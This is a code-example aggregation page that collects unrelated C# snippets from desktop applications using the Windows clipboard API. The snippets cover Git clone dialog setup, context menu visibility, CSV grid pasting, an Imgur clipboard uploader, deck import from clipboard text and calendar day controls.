            // if there is no destination directory, then use the parent of the current working directory
            // this would clone the new repo at the same level as the current one by default
            if (string.IsNullOrWhiteSpace(_NO_TRANSLATE_To.Text) && !string.IsNullOrWhiteSpace(Module.WorkingDir))
            {
                if (Module.IsValidGitWorkingDir())
                {
                    if (Path.GetPathRoot(Module.WorkingDir) != Module.WorkingDir)
                    {
                        _NO_TRANSLATE_To.Text = Path.GetDirectoryName(Module.WorkingDir.TrimEnd(Path.DirectorySeparatorChar));
                    }
                }
                else
                {
                    _NO_TRANSLATE_To.Text = Module.WorkingDir;
                }
            }

            FromTextUpdate(null, null);

            cbLfs.Visible = !GitVersion.Current.DepreciatedLfsClone;
            cbLfs.Enabled = Module.HasLfsSupport();
            if (!cbLfs.Enabled || !cbLfs.Visible)
            {
                cbLfs.Checked = false;
            }
        }
예제 #21
0
        void CxmOpened(Object sender, RoutedEventArgs args)
        {
            // Undo / Redo
            if (txtMain.CanUndo)
            {
                cxmItemUndo.Visibility = System.Windows.Visibility.Visible;
            }
            else
            {
                cxmItemUndo.Visibility = System.Windows.Visibility.Collapsed;
            }

            if (txtMain.CanRedo)
            {
                cxmItemRedo.Visibility = System.Windows.Visibility.Visible;
            }
            else
            {
                cxmItemRedo.Visibility = System.Windows.Visibility.Collapsed;
            }

            // Cut / copy
            if (txtMain.SelectionLength > 0)
            {
                cxmItemCopy.Visibility = cxmItemCut.Visibility = System.Windows.Visibility.Visible;
            }
            else
            {
                cxmItemCopy.Visibility = cxmItemCut.Visibility = System.Windows.Visibility.Collapsed;
            }

            // Paste
            if (Clipboard.ContainsText())
            {
                cxmItemPaste.Visibility = System.Windows.Visibility.Visible;
            }
            else
            {
                cxmItemPaste.Visibility = System.Windows.Visibility.Collapsed;
            }

            if ((txtMain.CanUndo || txtMain.CanRedo) &&
                (cxmItemPaste.Visibility == System.Windows.Visibility.Visible ||
                 cxmItemCopy.Visibility == System.Windows.Visibility.Visible ||
                 cxmItemCut.Visibility == System.Windows.Visibility.Visible))
            {
                cxmUndoSeparator.Visibility = System.Windows.Visibility.Visible;
            }
            else
            {
                cxmUndoSeparator.Visibility = System.Windows.Visibility.Collapsed;
            }

            // Select all
            if (txtMain.Text.Length > 0)
            {
                cxmItemSelectAll.Visibility = System.Windows.Visibility.Visible;
                if (txtMain.CanUndo || txtMain.CanRedo ||
                    cxmItemPaste.Visibility == System.Windows.Visibility.Visible ||
                    cxmItemCopy.Visibility == System.Windows.Visibility.Visible ||
                    cxmItemCut.Visibility == System.Windows.Visibility.Visible)
                {
                    cxmSelectAllSeparator.Visibility = System.Windows.Visibility.Visible;
                }
                else
                {
                    cxmSelectAllSeparator.Visibility = System.Windows.Visibility.Collapsed;
                }
            }
            else
            {
                cxmItemSelectAll.Visibility      = System.Windows.Visibility.Collapsed;
                cxmSelectAllSeparator.Visibility = System.Windows.Visibility.Collapsed;
            }

            // Line wrap separator
            if (txtMain.CanUndo || txtMain.CanRedo ||
                cxmItemPaste.Visibility == System.Windows.Visibility.Visible ||
                cxmItemCopy.Visibility == System.Windows.Visibility.Visible ||
                cxmItemCut.Visibility == System.Windows.Visibility.Visible ||
                txtMain.Text.Length > 0)
            {
                cxmLineWrapSeparator.Visibility = System.Windows.Visibility.Visible;
            }
            else
            {
                cxmLineWrapSeparator.Visibility = System.Windows.Visibility.Collapsed;
            }
        }
예제 #22
0
 public static string GetText()
 {
     return(Clipboard.ContainsText() ? Clipboard.GetText() : null);
 }
예제 #23
0
 bool CanPasteGridCommand()
 {
     return(Clipboard.ContainsText());
 }
예제 #24
0
 private bool CanParseClipboard()
 {
     return(Clipboard.ContainsText());
 }
        private void pasteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (dataGridView.SelectedCells.Count == 1 && Clipboard.ContainsText())
            {
                dataGridView.SelectedCells[0].Value = Clipboard.GetText();
                return;
            }

            if (!Clipboard.ContainsData("Csv"))
            {
                return;
            }

            var cells = dataGridView.SelectedCells.Cast <DataGridViewCell>();
            int xmin = cells.Min(cell => cell.ColumnIndex);
            int xmax = cells.Max(cell => cell.ColumnIndex);
            int ymin = cells.Min(cell => cell.RowIndex);
            int ymax = cells.Max(cell => cell.RowIndex);
            int w = xmax - xmin + 1, h = ymax - ymin + 1;

            if (w * h != dataGridView.SelectedCells.Count)
            {
                MessageBox.Show(
                    this,
                    "Cannot paste from clipboard into a non-rectangular cell selection.",
                    null,
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
                return;
            }

            object[,] data;

            object rawData = Clipboard.GetData("Csv");

            using (var stream = rawData as Stream)
                using (var reader = (stream == null) ? (TextReader) new StringReader(rawData.ToString()) : new StreamReader(stream))
                {
                    data = CSV.Parse(reader);
                }

            if (data.GetLength(0) != h || data.GetLength(1) != w)
            {
                MessageBox.Show(
                    this,
                    string.Format(
                        "Cannot paste block of cells of size {0}x{1} from clipboard into cell selection of size {2}x{3}.",
                        data.GetLength(0), data.GetLength(1),
                        w, h),
                    null,
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
                return;
            }

            int i = 0, j = 0;

            try
            {
                for (i = 0; i < h; ++i)
                {
                    for (j = 0; j < w; ++j)
                    {
                        Document.Data.Rows[ymin + i][xmin + j] = data[i, j];
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(
                    this,
                    string.Format("Error while pasting cell at row {0}, column {1}: {2}", i, j, ex.Message),
                    null,
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
            }
        }
예제 #26
0
 private void PasteCommand_CanExecute(object sender, CanExecuteRoutedEventArgs e)
 {
     e.CanExecute = Clipboard.ContainsText();
 }
예제 #27
0
        private void UploadClipboard(bool _Anonymous)
        {
            APIResponses.ImageResponse resp = null;
            Image  clipboardImage           = null;
            string clipboardURL             = string.Empty;
            //bool anonymous = !Properties.Settings.Default.useAccount || !ImgurAPI.HasBeenAuthorized();
            bool anonymous = _Anonymous;

            if (Clipboard.ContainsImage())
            {
                clipboardImage = Clipboard.GetImage();
                ShowBalloonTip(4000, "Hold on...", "Attempting to upload image to Imgur...", ToolTipIcon.None);
                resp = ImgurAPI.UploadImage(clipboardImage, GetTitleString(null), GetDescriptionString(null), _Anonymous);
            }
            else if (Clipboard.ContainsText())
            {
                clipboardURL = Clipboard.GetText(TextDataFormat.UnicodeText);
                Uri uriResult;
                if (Uri.TryCreate(clipboardURL, UriKind.Absolute, out uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
                {
                    ShowBalloonTip(4000, "Hold on...", "Attempting to upload image to Imgur...", ToolTipIcon.None);
                    resp = ImgurAPI.UploadImage(clipboardURL, GetTitleString(null), GetDescriptionString(null), _Anonymous);
                }
                else
                {
                    ShowBalloonTip(2000, "Can't upload clipboard!", "There's text on the clipboard but it's not a valid URL", ToolTipIcon.Error, true);
                    return;
                }
            }
            else
            {
                ShowBalloonTip(2000, "Can't upload clipboard!", "There's no image or URL there", ToolTipIcon.Error, true);
                return;
            }
            if (resp.success)
            {
                // this doesn't need an invocation guard because this function can't be called from the context menu
                if (Properties.Settings.Default.copyLinks)
                {
                    Clipboard.SetText(resp.data.link);
                }

                ShowBalloonTip(2000, "Success!", Properties.Settings.Default.copyLinks ? "Link copied to clipboard" : "Upload placed in history: " + resp.data.link, ToolTipIcon.None);

                HistoryItem item = new HistoryItem();
                item.timestamp   = DateTime.Now;
                item.id          = resp.data.id;
                item.link        = resp.data.link;
                item.deletehash  = resp.data.deletehash;
                item.title       = resp.data.title;
                item.description = resp.data.description;
                item.anonymous   = anonymous;
                if (clipboardImage != null)
                {
                    item.thumbnail = clipboardImage.GetThumbnailImage(pictureBox1.Width, pictureBox1.Height, null, System.IntPtr.Zero);
                }
                History.StoreHistoryItem(item);
            }
            else
            {
                ShowBalloonTip(2000, "Failed", "Could not upload image (" + resp.status + "):", ToolTipIcon.None, true);
            }

            if (!Properties.Settings.Default.clearClipboardOnUpload)
            {
                if (clipboardImage != null)
                {
                    Clipboard.SetImage(clipboardImage);
                }
                else
                {
                    Clipboard.SetText(clipboardURL, TextDataFormat.UnicodeText);
                }
            }
        }
예제 #28
0
        public static bool CheckForClipboardImport()
        {
            try
            {
                if (Clipboard.ContainsText())
                {
                    var clipboardContent = Clipboard.GetText();
                    if (clipboardContent.StartsWith("netdeckimport") || clipboardContent.StartsWith("trackerimport"))
                    {
                        var clipboardLines = clipboardContent.Split('\n').ToList();
                        var deckName       = clipboardLines.FirstOrDefault(line => line.StartsWith("name:"));
                        if (!string.IsNullOrEmpty(deckName))
                        {
                            clipboardLines.Remove(deckName);
                            deckName = deckName.Replace("name:", "").Trim();
                        }
                        var url = clipboardLines.FirstOrDefault(line => line.StartsWith("url:"));
                        if (!string.IsNullOrEmpty(url))
                        {
                            clipboardLines.Remove(url);
                            url = url.Replace("url:", "").Trim();
                        }
                        bool?isArenaDeck = null;
                        var  arena       = clipboardLines.FirstOrDefault(line => line.StartsWith("arena:"));
                        if (!string.IsNullOrEmpty(arena))
                        {
                            clipboardLines.Remove(arena);
                            bool isArena;
                            if (bool.TryParse(arena.Replace("arena:", "").Trim(), out isArena))
                            {
                                isArenaDeck = isArena;
                            }
                        }
                        var localized  = false;
                        var nonEnglish = clipboardLines.FirstOrDefault(line => line.StartsWith("nonenglish:"));
                        if (!string.IsNullOrEmpty(nonEnglish))
                        {
                            clipboardLines.Remove(nonEnglish);
                            bool.TryParse(nonEnglish.Replace("nonenglish:", "").Trim(), out localized);
                        }
                        var tagsRaw = clipboardLines.FirstOrDefault(line => line.StartsWith("tags:"));
                        var tags    = new List <string>();
                        if (!string.IsNullOrEmpty(tagsRaw))
                        {
                            clipboardLines.Remove(tagsRaw);
                            tags = tagsRaw.Replace("tags:", "").Trim().Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries).ToList();
                        }
                        clipboardLines.RemoveAt(0);                         //"netdeckimport" / "trackerimport"

                        var deck = StringImporter.Import(clipboardLines.Aggregate((c, n) => c + "\n" + n), localized);
                        if (deck != null)
                        {
                            if (tags.Any())
                            {
                                var reloadTags = false;
                                foreach (var tag in tags)
                                {
                                    if (!DeckList.Instance.AllTags.Contains(tag))
                                    {
                                        DeckList.Instance.AllTags.Add(tag);
                                        reloadTags = true;
                                    }
                                    deck.Tags.Add(tag);
                                }
                                if (reloadTags)
                                {
                                    DeckList.Save();
                                    Core.MainWindow.ReloadTags();
                                }
                            }

                            if (isArenaDeck.HasValue)
                            {
                                deck.IsArenaDeck = isArenaDeck.Value;
                            }
                            deck.Url  = url;
                            deck.Name = deckName;
                            if (Config.Instance.AutoSaveOnImport)
                            {
                                DeckManager.SaveDeck(deck);
                            }
                            else
                            {
                                Core.MainWindow.ShowDeckEditorFlyout(deck, true);
                            }
                            Core.MainWindow.ActivateWindow();
                        }
                        Clipboard.Clear();
                        return(true);
                    }
                }
            }
            catch (Exception e)
            {
                Log.Error(e);
                return(false);
            }
            return(false);
        }
예제 #29
0
        private void SpellCheckContextMenuOpening(object sender, CancelEventArgs e)
        {
            TextBox.Focus();

            SpellCheckContextMenu.Items.Clear();

            try
            {
                var pos = TextBox.GetCharIndexFromPosition(TextBox.PointToClient(MousePosition));

                if (pos < 0)
                {
                    e.Cancel = true;
                    return;
                }

                _spelling.Text      = TextBox.Text;
                _spelling.WordIndex = _spelling.GetWordIndexFromTextIndex(pos);

                if (_spelling.CurrentWord.Length != 0 && !_spelling.TestWord())
                {
                    _spelling.ShowDialog     = false;
                    _spelling.MaxSuggestions = 5;

                    // generate suggestions
                    _spelling.Suggest();

                    foreach (var suggestion in _spelling.Suggestions)
                    {
                        var si = AddContextMenuItem(suggestion, SuggestionToolStripItemClick);
                        si.Font = new System.Drawing.Font(si.Font, FontStyle.Bold);
                    }

                    AddContextMenuItem(_addToDictionaryText.Text, AddToDictionaryClick)
                    .Enabled = (_spelling.CurrentWord.Length > 0);
                    AddContextMenuItem(_ignoreWordText.Text, IgnoreWordClick)
                    .Enabled = (_spelling.CurrentWord.Length > 0);
                    AddContextMenuItem(_removeWordText.Text, RemoveWordClick)
                    .Enabled = (_spelling.CurrentWord.Length > 0);

                    if (_spelling.Suggestions.Count > 0)
                    {
                        AddContextMenuSeparator();
                    }
                }
            }
            catch (Exception ex)
            {
                Trace.WriteLine(ex);
            }

            AddContextMenuItem(_cutMenuItemText.Text, CutMenuItemClick)
            .Enabled = (TextBox.SelectedText.Length > 0);
            AddContextMenuItem(_copyMenuItemText.Text, CopyMenuItemdClick)
            .Enabled = (TextBox.SelectedText.Length > 0);
            AddContextMenuItem(_pasteMenuItemText.Text, PasteMenuItemClick)
            .Enabled = Clipboard.ContainsText();
            AddContextMenuItem(_deleteMenuItemText.Text, DeleteMenuItemClick)
            .Enabled = (TextBox.SelectedText.Length > 0);
            AddContextMenuItem(_selectAllMenuItemText.Text, SelectAllMenuItemClick);

            /*AddContextMenuSeparator();
             *
             * if (!string.IsNullOrEmpty(_spelling.CurrentWord))
             * {
             *  string text = string.Format(translateCurrentWord.Text, _spelling.CurrentWord, CultureCodeToString(Settings.Dictionary));
             *  AddContextMenuItem(text, translate_Click);
             * }
             *
             * string entireText = string.Format(translateEntireText.Text, CultureCodeToString(Settings.Dictionary));
             * AddContextMenuItem(entireText, translateText_Click);*/

            AddContextMenuSeparator();

            try
            {
                var dictionaryToolStripMenuItem = new ToolStripMenuItem(_dictionaryText.Text);
                SpellCheckContextMenu.Items.Add(dictionaryToolStripMenuItem);

                var toolStripDropDown = new ContextMenuStrip();

                var noDicToolStripMenuItem = new ToolStripMenuItem("None");
                noDicToolStripMenuItem.Click += DicToolStripMenuItemClick;
                if (Settings.Dictionary == "None")
                {
                    noDicToolStripMenuItem.Checked = true;
                }

                toolStripDropDown.Items.Add(noDicToolStripMenuItem);

                foreach (
                    var fileName in
                    Directory.GetFiles(AppSettings.GetDictionaryDir(), "*.dic", SearchOption.TopDirectoryOnly))
                {
                    var file = new FileInfo(fileName);

                    var dic = file.Name.Replace(".dic", "");

                    var dicToolStripMenuItem = new ToolStripMenuItem(dic);
                    dicToolStripMenuItem.Click += DicToolStripMenuItemClick;

                    if (Settings.Dictionary == dic)
                    {
                        dicToolStripMenuItem.Checked = true;
                    }

                    toolStripDropDown.Items.Add(dicToolStripMenuItem);
                }

                dictionaryToolStripMenuItem.DropDown = toolStripDropDown;
            }
            catch (Exception ex)
            {
                Trace.WriteLine(ex);
            }

            AddContextMenuSeparator();

            var mi =
                new ToolStripMenuItem(_markIllFormedLinesText.Text)
            {
                Checked = AppSettings.MarkIllFormedLinesInCommitMsg
            };

            mi.Click += MarkIllFormedLinesInCommitMsgClick;
            SpellCheckContextMenu.Items.Add(mi);
        }
        private void LoadMonth(MonthControl month)
        {
            SelectionManager.ClearSelection();
            CopyPasteManager.ResetCopy();
            foreach (var existedMonth in xtraTabControl.TabPages.OfType <MonthControl>().ToList())
            {
                existedMonth.RaiseEvents(false);
            }

            var calendarMonth = (CalendarMonth)month.Tag;

            if (!month.HasData)
            {
                var weeks        = new List <DayControl[]>();
                var datesByWeeks = Calendar.CalendarContent.GetDaysByWeek(calendarMonth.DaysRangeBegin, calendarMonth.DaysRangeEnd);
                foreach (var weekDays in datesByWeeks)
                {
                    var week = new List <DayControl>();
                    foreach (var calendarDay in weekDays.Select(weekDay =>
                                                                Calendar.ActiveCalendarSection.Days.FirstOrDefault(x => x.Date.Equals(weekDay))))
                    {
                        if (calendarDay != null)
                        {
                            var dayControl = new DayControl(calendarDay);
                            dayControl.AllowToPasteNote = CopyPasteManager.SourceNote != null;
                            dayControl.DaySelected     += (sender, e) =>
                            {
                                SelectionManager.SelectDay(e.SelectedDay.Day, e.ModifierKeys);
                                CopyPasteManager.SetCopyDay();
                            };
                            dayControl.DayCopied      += (sender, e) => CopyDay();
                            dayControl.DayPasted      += (sender, e) => PasteDay();
                            dayControl.DayCloned      += (sender, e) => CloneDay();
                            dayControl.DayDataDeleted += (sender, e) =>
                            {
                                foreach (var day in SelectionManager.SelectedDays)
                                {
                                    day.ClearData();
                                    RefreshData();
                                }
                                Calendar.SettingsNotSaved = true;
                                Calendar.CalendarView.RefreshData();
                                Calendar.SlideInfo.LoadData();
                                Calendar.UpdateDataManagementAndOutputFunctions();
                            };
                            dayControl.DataChanged += (sender, e) =>
                            {
                                var day = sender as DayControl;
                                if (day == null)
                                {
                                    return;
                                }
                                Calendar.UpdateDataManagementAndOutputFunctions();
                                Calendar.SettingsNotSaved = true;
                            };

                            dayControl.SelectionStateRequested += (sender, e) => SelectionManager.ProcessSelectionStateRequest();
                            dayControl.DayMouseMove            += (sender, e) =>
                            {
                                foreach (var day in _days)
                                {
                                    if (day.Day.BelongsToSchedules && day.ClientRectangle.Contains(day.PointToClient(Cursor.Position)) &&
                                        day.RaiseEvents)
                                    {
                                        SelectionManager.SelectDay(day.Day, Keys.Control);
                                    }
                                }
                            };
                            dayControl.NoteAdded += (sender, e) =>
                            {
                                var noteDateRange = Calendar.CalendarContent
                                                    .CalculateDateRange(SelectionManager.SelectedDays.Select(x => x.Date).ToArray()).LastOrDefault();
                                AddNote(noteDateRange);
                                RefreshData();
                                Calendar.UpdateDataManagementAndOutputFunctions();
                            };
                            dayControl.NotePasted += (sender, e) =>
                            {
                                PasteNote();
                                RefreshData();
                            };
                            dayControl.ImageCopied += (sender, e) => CopyImage();
                            dayControl.ImagePasted += (sender, e) =>
                            {
                                ImageSource imageSource    = null;
                                var         clipboardImage = ClipboardHelper.GetPngFormClipboard();
                                if (clipboardImage != null)
                                {
                                    imageSource = ImageSource.FromImage(clipboardImage);
                                }
                                else if (Clipboard.ContainsText(TextDataFormat.Html))
                                {
                                    var textContent = Clipboard.GetText(TextDataFormat.Html);
                                    try
                                    {
                                        imageSource = ImageSource.FromString(textContent);
                                    }
                                    catch
                                    {
                                    }
                                }
                                PasteImage(imageSource);
                            };
                            dayControl.ImageDeleted += (sender, e) =>
                            {
                                foreach (var day in SelectionManager.SelectedDays)
                                {
                                    day.Logo = new ImageSource();
                                    RefreshData();
                                }
                                Calendar.SettingsNotSaved = true;
                                Calendar.CalendarView.RefreshData();
                                Calendar.UpdateDataManagementAndOutputFunctions();
                            };

                            SelectionManager.SelectionStateResponse += (sender, e) =>
                                                                       dayControl.UpdateNoteMenuAccordingSelection(SelectionManager.SelectedDays.OrderBy(x => x.Date).ToList());

                            CopyPasteManager.CopyDaySet += (sender, e) =>
                            {
                                dayControl.toolStripMenuItemCopy.Enabled  = true;
                                dayControl.toolStripMenuItemClone.Enabled = true;
                            };
                            CopyPasteManager.CopyReset += (sender, e) =>
                            {
                                dayControl.toolStripMenuItemCopy.Enabled  = false;
                                dayControl.toolStripMenuItemClone.Enabled = false;
                                dayControl.ChangeCopySource(false);
                            };
                            CopyPasteManager.PasteReset += (sender, e) =>
                            {
                                dayControl.toolStripMenuItemPaste.Enabled = false;
                                dayControl.AllowToPasteNote = false;
                            };
                            CopyPasteManager.DayCopied += (sender, e) =>
                            {
                                dayControl.toolStripMenuItemPaste.Enabled = true;
                                dayControl.ChangeCopySource(dayControl.Day.Date.Equals(CopyPasteManager.SourceDay.Date));
                            };
                            CopyPasteManager.NoteCopied += (sender, e) => { dayControl.AllowToPasteNote = true; };
                            Calendar.AssignCloseActiveEditorsonOutSideClick(dayControl);
                            week.Add(dayControl);
                            _days.Add(dayControl);
                        }
                        Application.DoEvents();
                    }
                    weeks.Add(week.ToArray());
                    Application.DoEvents();
                }
                month.AddDays(weeks.ToArray());
                month.AddNotes(GetNotesByWeeeks(calendarMonth));
            }
            month.RefreshData(Calendar.GetColorSchema(calendarMonth.OutputData.SlideColor));
            month.RaiseEvents(true);
            month.ResizeControls();
        }